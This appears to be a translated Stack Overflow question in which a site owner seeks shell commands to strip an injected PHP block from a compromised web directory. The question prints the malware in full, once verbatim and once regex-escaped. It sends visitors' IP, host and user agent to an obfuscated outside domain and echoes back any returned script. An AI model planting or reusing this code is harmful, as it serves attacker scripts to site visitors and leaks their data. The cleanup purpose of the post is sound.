【发布时间】:2014-02-13 19:47:06
【问题描述】:
我正在尝试清理安全漏洞。我想在 web 目录中找到所有有问题的 PHP 代码实例并将其删除。它看起来像这样:
<?php
#c9806e#
error_reporting(0); ini_set('display_errors',0); $wp_xoy23462 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_xoy23462) && !preg_match ('/bot/i', $wp_xoy23462))){
$wp_xoy0923462="http://"."template"."class".".com/class"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_xoy23462);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_xoy0923462);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_23462xoy = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_23462xoy,1,3) === 'scr' ){ echo $wp_23462xoy; }
#/c9806e#
?>
<?php
?>
(c9806e 是一个随机的字母数字字符串)
我找到了很多使用find、sed 和grep 来替换简单事物的资源。我可能可以根据这一切拼凑出一些东西,但我不确定它是否有效,或者它不会破坏任何东西。
这是我拥有的工具:
- GNU awk 3.1.7
- GNU grep 2.6.3
- GNU sed 4.2.1
- GNU 查找 4.4.2
这是带有转义字符的违规代码。
<\?php
#\w+#
error_reporting\(0\); ini_set\('display_errors',0\); $wp_xoy23462 = @$_SERVER\['HTTP_USER_AGENT'\];
if \(\( preg_match \('/Gecko\|MSIE/i', $wp_xoy23462\) && !preg_match \('/bot/i', $wp_xoy23462\)\)\)\{
$wp_xoy0923462="http://"\."template"\."class"\."\.com/class"\."/\?ip="\.$_SERVER\['REMOTE_ADDR'\]\."&referer="\.urlencode\($_SERVER\['HTTP_HOST'\]\)\."&ua="\.urlencode\($wp_xoy23462\);
$ch = curl_init\(\); curl_setopt \($ch, CURLOPT_URL,$wp_xoy0923462\);
curl_setopt \($ch, CURLOPT_TIMEOUT, 6\); curl_setopt\($ch, CURLOPT_RETURNTRANSFER, 1\); $wp_23462xoy = curl_exec \($ch\); curl_close\($ch\);\}
if \( substr\($wp_23462xoy,1,3\) === 'scr' \)\{ echo $wp_23462xoy; \}
#/w+#
\?>
<\?php
\?>
编辑:事实证明,一些换行符是\r\n 而不是\n。 (其他人只是'\n'。)
【问题讨论】:
-
你到底想做什么?请编辑问题,使其变得清晰。
-
"我想在 web 目录中找到所有有问题的 PHP 代码实例并删除它们。"够清楚吗?
-
@leewangzhong 如果“#...#”是随机的,那么每个 php 中有多少个块(您要删除的块)?最大限度。 1 个?
-
您最好从备份中恢复所有内容,而不是尝试搜索错误代码。
-
那将是理想的,但我无法从违规前获得备份。 @Kent 似乎每个人都有一次。